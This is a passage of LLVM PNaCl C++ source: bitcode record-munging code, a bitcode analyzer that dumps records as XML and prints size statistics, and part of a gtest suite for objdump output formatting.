DeleteContainerSeconds(ReplaceMap);
ReplaceMap.clear();
}
void NaClMungedBitcode::munge(const uint64_t Munges[], size_t MungesSize,
uint64_t Terminator) {
for (size_t Index = 0; Index < MungesSize;) {
size_t RecordIndex =
readAsType<size_t>(Munges, MungesSize, Terminator, Index);
if (RecordIndex >= BaseRecords->size()) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Record index " << RecordIndex << " out of range. "
<< "Must be less than " << BaseRecords->size() << "\n";
report_fatal_error(StrBuf.str());
}
switch (readEditAction(Munges, MungesSize, Terminator, Index)) {
case NaClMungedBitcode::AddBefore: {
NaClBitcodeAbbrevRecord Record;
Record.read(Munges, MungesSize, Terminator, Index);
addBefore(RecordIndex, Record);
break;
}
case NaClMungedBitcode::AddAfter: {
NaClBitcodeAbbrevRecord Record;
Record.read(Munges, MungesSize, Terminator, Index);
addAfter(RecordIndex, Record);
break;
}
case NaClMungedBitcode::Remove: {
remove(RecordIndex);
break;
}
case NaClMungedBitcode::Replace: {
NaClBitcodeAbbrevRecord Record;
Record.read(Munges, MungesSize, Terminator, Index);
replace(RecordIndex, Record);
break;
}
}
}
}
NaClMungedBitcodeIter NaClMungedBitcode::begin() const {
return NaClMungedBitcodeIter::begin(*this);
}
NaClMungedBitcodeIter NaClMungedBitcode::end() const {
return NaClMungedBitcodeIter::end(*this);
}
bool NaClMungedBitcodeIter::
operator==(const NaClMungedBitcodeIter &Iter) const {
if (MungedBitcode != Iter.MungedBitcode || Index != Iter.Index ||
Position != Iter.Position)
return false;
// Deal with the fact that InsertionsIter is undefined when
// at the end of all records.
if (Index == MungedBitcode->BaseRecords->size())
return true;
return InsertionsIter == Iter.InsertionsIter;
}
NaClBitcodeAbbrevRecord &NaClMungedBitcodeIter::operator*() {
switch (Position) {
case InBeforeInsertions:
case InAfterInsertions:
assert(Index < MungedBitcode->BaseRecords->size() &&
InsertionsIter != InsertionsIterEnd);
return **InsertionsIter;
case AtIndex: {
NaClMungedBitcode::ReplaceMapType::const_iterator Pos =
MungedBitcode->ReplaceMap.find(Index);
if (Pos == MungedBitcode->ReplaceMap.end())
return *(*MungedBitcode->BaseRecords)[Index];
assert(Pos->second);
return *Pos->second;
}
}
}
NaClMungedBitcodeIter &NaClMungedBitcodeIter::operator++() {
switch (Position) {
case InBeforeInsertions:
case InAfterInsertions:
assert(Index < MungedBitcode->BaseRecords->size() &&
InsertionsIter != InsertionsIterEnd);
++InsertionsIter;
break;
case AtIndex: {
Position = InAfterInsertions;
placeAt(MungedBitcode->AfterInsertionsMap, Index);
break;
}
}
updatePosition();
return *this;
}
void NaClMungedBitcodeIter::updatePosition() {
while (true) {
switch (Position) {
case InBeforeInsertions:
if (Index >= MungedBitcode->BaseRecords->size() ||
InsertionsIter != InsertionsIterEnd)
return;
Position = AtIndex;
break;
case AtIndex: {
NaClMungedBitcode::ReplaceMapType::const_iterator Pos =
MungedBitcode->ReplaceMap.find(Index);
// Stop looking if no replacement, or index has a replacement.
if (Pos == MungedBitcode->ReplaceMap.end() || Pos->second != nullptr)
return;
// Base element has been removed.
Position = InAfterInsertions;
placeAt(MungedBitcode->AfterInsertionsMap, Index);
break;
}
case InAfterInsertions:
if (InsertionsIter != InsertionsIterEnd)
return;
Position = InBeforeInsertions;
++Index;
placeAt(MungedBitcode->BeforeInsertionsMap, Index);
break;
}
}
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeAnalyzer.cpp
//===-- NaClBitcodeAnalyzer.cpp - Bitcode Analyzer ------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "nacl-bitcode-analyzer"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/Twine.h"
#include "llvm/Bitcode/NaCl/NaClAnalyzerBlockDist.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeAnalyzer.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeHeader.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeParser.h"
#include "llvm/Bitcode/NaCl/NaClBitstreamReader.h"
#include "llvm/Bitcode/NaCl/NaClLLVMBitCodes.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/Format.h"
#include "llvm/Support/MemoryBuffer.h"
#include "llvm/Support/raw_ostream.h"
#include <algorithm>
#include <map>
#include <system_error>
// TODO(kschimpf): Separate out into two bitcode parsers, one for
// dumping records, and one for collecting distribution stats for
// printing. This should simplify the code.
namespace {
// Generates an error message when outside parsing, and no
// corresponding bit position is known.
bool Error(const llvm::Twine &Err) {
llvm::errs() << Err << "\n";
return true;
}
} // End of anonymous namespace.
namespace llvm {
// Parses all bitcode blocks, and collects distribution of records in
// each block. Also dumps bitcode structure if specified (via global
// variables).
class PNaClBitcodeAnalyzerParser : public NaClBitcodeParser {
public:
PNaClBitcodeAnalyzerParser(NaClBitstreamCursor &Cursor,
raw_ostream &OS,
const AnalysisDumpOptions &DumpOptions,
NaClBitcodeDist *Dist)
: NaClBitcodeParser(Cursor),
IndentLevel(0),
OS(OS),
DumpOptions(DumpOptions),
Dist(Dist),
AbbrevListener(this)
{
SetListener(&AbbrevListener);
}
virtual ~PNaClBitcodeAnalyzerParser() {}
virtual bool ParseBlock(unsigned BlockID);
// Returns the string defining the indentation to use with respect
// to the current indent level.
const std::string &GetIndentation() {
size_t Size = IndentationCache.size();
if (IndentLevel >= Size) {
IndentationCache.resize(IndentLevel+1);
for (size_t i = Size; i <= IndentLevel; ++i) {
IndentationCache[i] = std::string(i*2, ' ');
}
}
return IndentationCache[IndentLevel];
}
// Keeps track of current indentation level based on block nesting.
unsigned IndentLevel;
// The output stream to print to.
raw_ostream &OS;
// The dump options to use.
const AnalysisDumpOptions &DumpOptions;
// The bitcode distribution map (if defined) to update.
NaClBitcodeDist *Dist;
private:
// The set of cached, indentation strings. Used for indenting
// records when dumping.
std::vector<std::string> IndentationCache;
// Listener used to get abbreviations as they are read.
NaClBitcodeParserListener AbbrevListener;
};
// Parses a bitcode block, and collects distribution of records in that block.
// Also dumps bitcode structure if specified (via global variables).
class PNaClBitcodeAnalyzerBlockParser : public NaClBitcodeParser {
public:
// Parses top-level block.
PNaClBitcodeAnalyzerBlockParser(
unsigned BlockID,
PNaClBitcodeAnalyzerParser *Parser)
: NaClBitcodeParser(BlockID, Parser) {
Initialize(BlockID, Parser);
}
virtual ~PNaClBitcodeAnalyzerBlockParser() {
if (Context->Dist) Context->Dist->AddBlock(GetBlock());
}
// *****************************************************
// This subsection Defines an XML generator for the dump.
// Tag. TagName, Attribute
// *****************************************************
private:
// The tag name for an element.
std::string TagName;
// The number of attributes associated with a tag.
unsigned NumTagAttributes;
// The number of (indexed attribute) operands associated with a tag.
unsigned NumTagOperands;
protected:
/// Initializes internal data used to emit an XML tag.
void InitializeEmitTag() {
TagName.clear();
NumTagAttributes = 0;
NumTagOperands = 0;
}
/// Emits the start of an XML start tag.
void EmitBeginStartTag() {
InitializeEmitTag();
Context->OS << Indent << "<";
}
/// Emit the start of an XML end tag.
void EmitBeginEndTag() {
InitializeEmitTag();
Context->OS << Indent << "</";
}
/// Emits the end of an empty-element XML tag.
void EmitEndTag() {
Context->OS << "/>\n";
}
/// Emits the End of a start/end tag for an XML element.
void EmitEndElementTag() {
Context->OS << ">\n";
}
/// Emits the tag name for an XML tag.
void EmitTagName(const std::string &ElmtName) {
TagName = ElmtName;
Context->OS << ElmtName;
}
/// Emits the "name=" portion of an XML tag attribute.
raw_ostream &EmitAttributePrefix(const std::string &AttributeName) {
WrapOperandsLine();
Context->OS << " " << AttributeName << "=";
++NumTagAttributes;
return Context->OS;
}
/// Emits a string-valued XML attribute of an XML tag.
void EmitStringAttribute(const char *AttributeName, const std::string &Str) {
EmitAttributePrefix(AttributeName) << "'" << Str << "'";
}
/// Emits a string-valued XML attribute of an XML tag.
void EmitStringAttribute(const char *AttributeName, const char*Str) {
std::string StrStr(Str);
EmitStringAttribute(AttributeName, StrStr);
}
/// Emits an unsigned integer-valued XML attribute of an XML tag.
void EmitAttribute(const char *AttributeName, uint64_t Value) {
EmitAttributePrefix(AttributeName) << Value;
}
/// Emits the "opN=" portion of an XML tag (indexable) operand attribute.
raw_ostream &EmitOperandPrefix() {
std::string OpName;
raw_string_ostream OpNameStrm(OpName);
OpNameStrm << "op" << NumTagOperands;
++NumTagOperands;
return EmitAttributePrefix(OpNameStrm.str());
}
/// Adds line wrap if more than "OpsPerLine" XML tag attributes are
/// emitted on the current line.
void WrapOperandsLine() {
if (Context->DumpOptions.OpsPerLine) {
if (NumTagAttributes &&
(NumTagAttributes % Context->DumpOptions.OpsPerLine) == 0) {
raw_ostream &OS = Context->OS;
// Last operand crossed width boundary, add newline and indent.
OS << "\n" << Indent << " ";
for (unsigned J = 0, SZ = TagName.size(); J < SZ; ++J)
OS << " ";
}
}
}
// ********************************************************
// This section defines how to parse the block and generate
// the corresponding XML.
// ********************************************************
// Parses nested blocks.
PNaClBitcodeAnalyzerBlockParser(
unsigned BlockID,
PNaClBitcodeAnalyzerBlockParser *EnclosingBlock)
: NaClBitcodeParser(BlockID, EnclosingBlock),
Context(EnclosingBlock->Context) {
Initialize(BlockID, EnclosingBlock->Context);
}
// Initialize data associated with a block.
void Initialize(unsigned BlockID, PNaClBitcodeAnalyzerParser *Parser) {
InitializeEmitTag();
Context = Parser;
if (Context->DumpOptions.DumpRecords) {
Indent = Parser->GetIndentation();
}
NumWords = 0;
}
// Increment the indentation level for dumping.
void IncrementIndent() {
Context->IndentLevel++;
Indent = Context->GetIndentation();
}
// Increment the indentation level for dumping.
void DecrementIndent() {
Context->IndentLevel--;
Indent = Context->GetIndentation();
}
// Called once the block has been entered by the bitstream reader.
// Argument NumWords is set to the number of words in the
// corresponding block.
virtual void EnterBlock(unsigned NumberWords) {
NumWords = NumberWords;
if (Context->DumpOptions.DumpRecords) {
unsigned BlockID = GetBlockID();
EmitBeginStartTag();
EmitEnterBlockTagName(BlockID);
if (Context->DumpOptions.DumpDetails) {
EmitAttribute("NumWords", NumWords);
EmitAttribute("BlockCodeSize", Record.GetCursor().getAbbrevIDWidth());
}
if (!Context->DumpOptions.DumpDetails &&
naclbitc::BLOCKINFO_BLOCK_ID == GetBlockID()) {
EmitEndTag();
} else {
EmitEndElementTag();
IncrementIndent();
}
}
}
// Called when the corresponding EndBlock of the block being parsed
// is found.
virtual void ExitBlock() {
if (Context->DumpOptions.DumpRecords) {
if (!Context->DumpOptions.DumpDetails &&
naclbitc::BLOCKINFO_BLOCK_ID == GetBlockID())
return;
DecrementIndent();
EmitBeginEndTag();
EmitExitBlockTagName(Record.GetBlockID());
EmitEndElementTag();
}
}
virtual void SetBID() {
if (!(Context->DumpOptions.DumpRecords &&
Context->DumpOptions.DumpDetails)) {
return;
}
EmitBeginStartTag();
EmitCodeTagName(naclbitc::BLOCKINFO_CODE_SETBID,
naclbitc::BLOCKINFO_BLOCK_ID);
EmitStringAttribute("block",
NaClBitcodeBlockDist::GetName(Record.GetValues()[0]));
EmitEndTag();
}
virtual void ProcessAbbreviation(unsigned BlockID,
NaClBitCodeAbbrev *Abbrev,
bool IsLocal) {
if (Context->DumpOptions.DumpDetails) {
EmitAbbreviation(Abbrev);
}
}
// Process the last read record in the block.
virtual void ProcessRecord() {
// Increment the # occurrences of this code.
if (Context->Dist) Context->Dist->AddRecord(Record);
if (Context->DumpOptions.DumpRecords) {
EmitBeginStartTag();
EmitCodeTagName(Record.GetCode(), GetBlockID(), Record.GetEntryID());
const NaClBitcodeRecord::RecordVector &Values = Record.GetValues();
for (unsigned i = 0, e = Values.size(); i != e; ++i) {
EmitOperandPrefix() << (int64_t)Values[i];
}
EmitEndTag();
}
}
virtual bool ParseBlock(unsigned BlockID) {
PNaClBitcodeAnalyzerBlockParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
private:
/// Defines the indent level of the block being parsed.
std::string Indent;
/// Defines the number of (32-bit) words the block occupies in
/// the bitstream.
unsigned NumWords;
/// Refers to global parsing context.
PNaClBitcodeAnalyzerParser *Context;
protected:
/// Emit the given abbreviation as an XML tag.
void EmitAbbreviation(const NaClBitCodeAbbrev *Abbrev) {
EmitBeginStartTag();
EmitTagName("DEFINE_ABBREV");
if (Context->DumpOptions.DumpDetails) {
EmitStringAttribute("abbrev", "DEFINE_ABBREV");
}
for (unsigned I = 0, IEnd = Abbrev->getNumOperandInfos(); I != IEnd; ++I) {
EmitAbbreviationOp(Abbrev->getOperandInfo(I));
}
EmitEndTag();
}
/// Emit the given abbreviation operand as an XML tag attribute.
void EmitAbbreviationOp(const NaClBitCodeAbbrevOp &Op) {
EmitOperandPrefix()
<< "'" << NaClBitCodeAbbrevOp::getEncodingName(Op.getEncoding());
if (Op.hasValue()) {
Context->OS << "(" << Op.getValue() << ")";
}
Context->OS << "'";
}
/// Emits the symbolic name of the record code as the XML tag name.
void EmitCodeTagName(
unsigned CodeID, unsigned BlockID,
unsigned AbbreviationID = naclbitc::UNABBREV_RECORD) {
EmitTagName(NaClBitcodeCodeDist::GetCodeName(CodeID, BlockID));
if (Context->DumpOptions.DumpDetails) {
if (AbbreviationID == naclbitc::UNABBREV_RECORD) {
EmitStringAttribute("abbrev", "UNABBREVIATED");
} else {
EmitAttribute("abbrev", AbbreviationID);
}
}
}
/// Emits the symbolic name of the block as the XML tag name.
void EmitEnterBlockTagName(unsigned BlockID) {
EmitTagName(NaClBitcodeBlockDist::GetName(BlockID));
if (Context->DumpOptions.DumpDetails)
EmitStringAttribute("abbrev", "ENTER_SUBBLOCK");
}
/// Emits the symbolic name of the block as the the XML tag name.
void EmitExitBlockTagName(unsigned BlockID) {
EmitTagName(NaClBitcodeBlockDist::GetName(BlockID));
if (Context->DumpOptions.DumpDetails)
EmitStringAttribute("abbrev", "END_BLOCK");
}
};
bool PNaClBitcodeAnalyzerParser::ParseBlock(unsigned BlockID) {
PNaClBitcodeAnalyzerBlockParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
static void PrintSize(uint64_t Bits, raw_ostream &OS) {
OS << format("%lub/%.2fB/%luW", (unsigned long)Bits,
(double)Bits/8, (unsigned long)(Bits/32));
}
int AnalyzeBitcodeInBuffer(const std::unique_ptr<MemoryBuffer> &Buf,
raw_ostream &OS,
const AnalysisDumpOptions &DumpOptions) {
DEBUG(dbgs() << "-> AnalyzeBitcodeInBuffer\n");
if (Buf->getBufferSize() & 3)
return Error("Bitcode stream should be a multiple of 4 bytes in length");
const unsigned char *BufPtr = (const unsigned char *)Buf->getBufferStart();
const unsigned char *EndBufPtr = BufPtr + Buf->getBufferSize();
NaClBitcodeHeader Header;
if (Header.Read(BufPtr, EndBufPtr))
return Error("Invalid PNaCl bitcode header");
if (!Header.IsSupported())
errs() << "Warning: " << Header.Unsupported() << "\n";
if (!Header.IsReadable())
Error("Bitcode file is not readable");
NaClBitstreamReader StreamFile(BufPtr, EndBufPtr, Header);
NaClBitstreamCursor Stream(StreamFile);
unsigned NumTopBlocks = 0;
// Print out header information.
for (size_t i = 0, limit = Header.NumberFields(); i < limit; ++i) {
OS << Header.GetField(i)->Contents() << "\n";
}
if (Header.NumberFields()) OS << "\n";
// Parse the top-level structure. We only allow blocks at the top-level.
NaClAnalyzerBlockDistElement DistSentinel(0, DumpOptions.OrderBlocksByID);
NaClAnalyzerBlockDist Dist(DistSentinel);
PNaClBitcodeAnalyzerParser Parser(Stream, OS, DumpOptions, &Dist);
while (!Stream.AtEndOfStream()) {
++NumTopBlocks;
if (Parser.Parse()) return 1;
}
if (DumpOptions.DumpRecords) return 0;
uint64_t BufferSizeBits = (EndBufPtr-BufPtr)*CHAR_BIT;
// Print a summary
OS << "Total size: ";
PrintSize(BufferSizeBits, OS);
OS << "\n";
OS << "# Toplevel Blocks: " << NumTopBlocks << "\n";
OS << "\n";
if (Parser.Dist) Parser.Dist->Print(OS);
DEBUG(dbgs() << "<- AnalyzeBitcode\n");
return 0;
}
int AnalyzeBitcodeInFile(const StringRef &InputFilename, raw_ostream &OS,
const AnalysisDumpOptions &DumpOptions) {
ErrorOr<std::unique_ptr<MemoryBuffer>> ErrOrFile =
MemoryBuffer::getFileOrSTDIN(InputFilename);
if (std::error_code EC = ErrOrFile.getError())
return Error(Twine("Error reading '") + InputFilename + "': " +
EC.message());
return AnalyzeBitcodeInBuffer(ErrOrFile.get(), OS, DumpOptions);
}
} // namespace llvm
<file_sep>/unittests/Bitcode/NaClObjDumpTest.cpp
//===- llvm/unittest/Bitcode/NaClObjDumpTest.cpp -------------------------===//
// Tests objdump stream for PNaCl bitcode.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests if the objdump stream for PNaCl bitcode works as expected.
#include "llvm/Bitcode/NaCl/NaClObjDumpStream.h"
#include "gtest/gtest.h"
#include <iostream>
using namespace llvm;
using namespace llvm::naclbitc;
namespace {
// Writes out the record, if non-null. Otherwise just writes comments
// and errors.
static inline void Write(ObjDumpStream &Stream, uint64_t Bit,
const NaClBitcodeRecordData *Record,
int32_t AbbrevIndex) {
if (Record)
Stream.Write(Bit, *Record, AbbrevIndex);
else
Stream.Flush();
}
// Runs some simple assembly examples against the given bitcode
// record, using an objdump stream.
static void RunAssemblyExamples(
ObjDumpStream &Stream, uint64_t Bit,
const NaClBitcodeRecordData *Record,
int32_t AbbrevIndex,
bool AddErrors) {
// First assume no assembly.
if (AddErrors)
Stream.ErrorAt(Bit) << "This is an error\n";
Write(Stream, Bit, Record, AbbrevIndex);
// Increment bit to new fictitious address, assuming Record takes 21 bits.
Bit += 21;
// Now a single line assembly.
if (AddErrors)
Stream.ErrorAt(Bit) << "Oops, an error!\n";
Stream.Assembly() << "One line assembly.";
Write(Stream, Bit, Record, AbbrevIndex);
// Increment bit to new fictitious address, assuming Record takes 17 bits.
Bit += 17;
// Now multiple line assembly.
if (AddErrors)
Stream.ErrorAt(Bit) << "The record looks bad\n";
Stream.Assembly() << "Two Line\nexample assembly.";
if (AddErrors)
Stream.ErrorAt(Bit) << "Actually, it looks really bad\n";
Write(Stream, Bit, Record, AbbrevIndex);
}
// Runs some simple assembly examples against the given bitcode record
// using an objdump stream. Adds a message describing the test
// and the record indent being used.
static std::string RunIndentedAssemblyWithAbbrevTest(
bool DumpRecords, bool DumpAssembly,
unsigned NumRecordIndents, uint64_t Bit,
const NaClBitcodeRecordData *Record, int32_t AbbrevIndex, bool AddErrors) {
std::string Buffer;
raw_string_ostream BufStream(Buffer);
ObjDumpStream DumpStream(BufStream, DumpRecords, DumpAssembly);
for (unsigned i = 0; i < NumRecordIndents; ++i) {
DumpStream.IncRecordIndent();
}
RunAssemblyExamples(DumpStream, Bit, Record, AbbrevIndex, AddErrors);
return BufStream.str();
}
// Runs some simple assembly examples against the given bitcode record
// using an objdump stream. Adds a message describing the test
// and the record indent being used. Assumes no abbreviation index
// is associated with the record.
static std::string RunIndentedAssemblyTest(
bool DumpRecords, bool DumpAssembly,
unsigned NumRecordIndents, uint64_t Bit,
const NaClBitcodeRecordData *Record, bool AddErrors) {
return
RunIndentedAssemblyWithAbbrevTest(
DumpRecords, DumpAssembly, NumRecordIndents, Bit, Record,
naclbitc::ABBREV_INDEX_NOT_SPECIFIED, AddErrors);
}
// Tests effects of objdump when there isn't a record to write.
TEST(NaClObjDumpTest, NoDumpRecords) {
EXPECT_EQ(
" | |One line assembly.\n"
" | |Two Line\n"
" | |example assembly.\n",
RunIndentedAssemblyTest(true, true, 0, 11, 0, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 0, 91, 0, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(true, false, 0, 37, 0, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 0, 64, 0, false));
}
// Tests simple cases where there is both a record and corresponding
// assembly code.
TEST(NaClObjDumpTest, SimpleRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(10);
Record.Values.push_back(15);
EXPECT_EQ(
" 1:3|<5, 10, 15> |\n"
" 4:0|<5, 10, 15> |One line assembly.\n"
" 6:1|<5, 10, 15> |Two Line\n"
" | |example assembly.\n",
RunIndentedAssemblyTest(true, true, 0, 11, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 0, 91, &Record, false));
EXPECT_EQ(
" 4:5|<5, 10, 15>\n"
" 7:2|<5, 10, 15>\n"
" 9:3|<5, 10, 15>\n",
RunIndentedAssemblyTest(true, false, 0, 37, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 0, 64, &Record, false));
}
// Test case where record is printed using two lines.
TEST(NaClObjDumpText, LongRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(static_cast<uint64_t>(-1));
Record.Values.push_back(100);
Record.Values.push_back(15);
Record.Values.push_back(107056);
EXPECT_EQ(
" 127:1|<5, 18446744073709551615, |\n"
" | 100, 15, 107056> |\n"
" 129:6|<5, 18446744073709551615, |One line assembly.\n"
" | 100, 15, 107056> |\n"
" 131:7|<5, 18446744073709551615, |Two Line\n"
" | 100, 15, 107056> |example assembly.\n",
RunIndentedAssemblyTest(true, true, 0, 1017, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 0, 91, &Record, false));
EXPECT_EQ(
" 47073:6|<5, 18446744073709551615, 100, 15, 107056>\n"
" 47076:3|<5, 18446744073709551615, 100, 15, 107056>\n"
" 47078:4|<5, 18446744073709551615, 100, 15, 107056>\n",
RunIndentedAssemblyTest(true, false, 0, 376590, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 0, 64564, &Record, false));
}
// Test case where comma hits boundary.
TEST(NaClObjDumpText, CommaBoundaryRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(static_cast<uint64_t>(-1));
Record.Values.push_back(10);
Record.Values.push_back(15);
Record.Values.push_back(107056);
EXPECT_EQ(
" 127:1|<5, 18446744073709551615, 10,|\n"
" | 15, 107056> |\n"
" 129:6|<5, 18446744073709551615, 10,|One line assembly.\n"
" | 15, 107056> |\n"
" 131:7|<5, 18446744073709551615, 10,|Two Line\n"
" | 15, 107056> |example assembly.\n",
RunIndentedAssemblyTest(true, true, 0, 1017, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 0, 91, &Record, false));
EXPECT_EQ(
" 47073:6|<5, 18446744073709551615, 10, 15, 107056>\n"
" 47076:3|<5, 18446744073709551615, 10, 15, 107056>\n"
" 47078:4|<5, 18446744073709551615, 10, 15, 107056>\n",
RunIndentedAssemblyTest(true, false, 0, 376590, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 0, 64564, &Record, false));
}
// Test case where comma wraps to next line.
TEST(NaClObjDumpText, CommaWrapRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(static_cast<uint64_t>(-1));
Record.Values.push_back(100);
Record.Values.push_back(15);
Record.Values.push_back(107056);
EXPECT_EQ(
" 127:1|<5, 18446744073709551615, |\n"
" | 100, 15, 107056> |\n"
" 129:6|<5, 18446744073709551615, |One line assembly.\n"
" | 100, 15, 107056> |\n"
" 131:7|<5, 18446744073709551615, |Two Line\n"
" | 100, 15, 107056> |example assembly.\n",
RunIndentedAssemblyTest(true, true, 0, 1017, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 0, 91, &Record, false));
EXPECT_EQ(
" 47073:6|<5, 18446744073709551615, 100, 15, 107056>\n"
" 47076:3|<5, 18446744073709551615, 100, 15, 107056>\n"
" 47078:4|<5, 18446744073709551615, 100, 15, 107056>\n",
RunIndentedAssemblyTest(true, false, 0, 376590, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 0, 64564, &Record, false));
}
// Test case where record is printed using more than two lines.
TEST(NaClObjDumpText, VeryLongRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(static_cast<uint64_t>(-1));
Record.Values.push_back(100);
Record.Values.push_back(15);
Record.Values.push_back(107056);
Record.Values.push_back(static_cast<uint64_t>(-5065));
Record.Values.push_back(101958788);
EXPECT_EQ(
" 127:1|<5, 18446744073709551615, |\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 129:6|<5, 18446744073709551615, |One line assembly.\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 131:7|<5, 18446744073709551615, |Two Line\n"
" | 100, 15, 107056, |example assembly.\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n",
RunIndentedAssemblyTest(true, true, 0, 1017, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 0, 91, &Record, false));
EXPECT_EQ(
" 47073:6|<5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n"
" 47076:3|<5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n"
" 47078:4|<5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n",
RunIndentedAssemblyTest(true, false, 0, 376590, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 0, 64564, &Record, false));
}
// Tests effects of objdump when there isn't a record to write, but errors occur.
TEST(NaClObjDumpTest, ErrorsErrorsNoDumpRecords) {
EXPECT_EQ(
"Error(1:3): This is an error\n"
" | |One line assembly.\n"
"Error(4:0): Oops, an error!\n"
" | |Two Line\n"
" | |example assembly.\n"
"Error(6:1): The record looks bad\n"
"Error(6:1): Actually, it looks really bad\n",
RunIndentedAssemblyTest(true, true, 0, 11, 0, true));
EXPECT_EQ(
"Error(11:3): This is an error\n"
"One line assembly.\n"
"Error(14:0): Oops, an error!\n"
"Two Line\n"
"example assembly.\n"
"Error(16:1): The record looks bad\n"
"Error(16:1): Actually, it looks really bad\n",
RunIndentedAssemblyTest(false, true, 0, 91, 0, true));
EXPECT_EQ(
"Error(4:5): This is an error\n"
"Error(7:2): Oops, an error!\n"
"Error(9:3): The record looks bad\n"
"Error(9:3): Actually, it looks really bad\n",
RunIndentedAssemblyTest(true, false, 0, 37, 0, true));
EXPECT_EQ(
"Error(8:0): This is an error\n"
"Error(10:5): Oops, an error!\n"
"Error(12:6): The record looks bad\n"
"Error(12:6): Actually, it looks really bad\n",
RunIndentedAssemblyTest(false, false, 0, 64, 0, true));
}
// Test case where record is printed using two lines, but errors
// occur.
TEST(NaClObjDumpText, ErrorsLongRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(static_cast<uint64_t>(-1));
Record.Values.push_back(100);
Record.Values.push_back(15);
Record.Values.push_back(107056);
EXPECT_EQ(
" 127:1|<5, 18446744073709551615, |\n"
" | 100, 15, 107056> |\n"
"Error(127:1): This is an error\n"
" 129:6|<5, 18446744073709551615, |One line assembly.\n"
" | 100, 15, 107056> |\n"
"Error(129:6): Oops, an error!\n"
" 131:7|<5, 18446744073709551615, |Two Line\n"
" | 100, 15, 107056> |example assembly.\n"
"Error(131:7): The record looks bad\n"
"Error(131:7): Actually, it looks really bad\n",
RunIndentedAssemblyTest(true, true, 0, 1017, &Record, true));
EXPECT_EQ(
"Error(11:3): This is an error\n"
"One line assembly.\n"
"Error(14:0): Oops, an error!\n"
"Two Line\n"
"example assembly.\n"
"Error(16:1): The record looks bad\n"
"Error(16:1): Actually, it looks really bad\n",
RunIndentedAssemblyTest(false, true, 0, 91, &Record, true));
EXPECT_EQ(
" 47073:6|<5, 18446744073709551615, 100, 15, 107056>\n"
"Error(47073:6): This is an error\n"
" 47076:3|<5, 18446744073709551615, 100, 15, 107056>\n"
"Error(47076:3): Oops, an error!\n"
" 47078:4|<5, 18446744073709551615, 100, 15, 107056>\n"
"Error(47078:4): The record looks bad\n"
"Error(47078:4): Actually, it looks really bad\n",
RunIndentedAssemblyTest(true, false, 0, 376590, &Record, true));
EXPECT_EQ(
"Error(8070:4): This is an error\n"
"Error(8073:1): Oops, an error!\n"
"Error(8075:2): The record looks bad\n"
"Error(8075:2): Actually, it looks really bad\n",
RunIndentedAssemblyTest(false, false, 0, 64564, &Record, true));
}
// Test case where record is printed using more than two lines, but
// errors occur.
TEST(NaClObjDumpText, ErrorsVeryLongRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(static_cast<uint64_t>(-1));
Record.Values.push_back(100);
Record.Values.push_back(15);
Record.Values.push_back(107056);
Record.Values.push_back(static_cast<uint64_t>(-5065));
Record.Values.push_back(101958788);
EXPECT_EQ(
" 127:1|<5, 18446744073709551615, |\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
"Error(127:1): This is an error\n"
" 129:6|<5, 18446744073709551615, |One line assembly.\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
"Error(129:6): Oops, an error!\n"
" 131:7|<5, 18446744073709551615, |Two Line\n"
" | 100, 15, 107056, |example assembly.\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
"Error(131:7): The record looks bad\n"
"Error(131:7): Actually, it looks really bad\n",
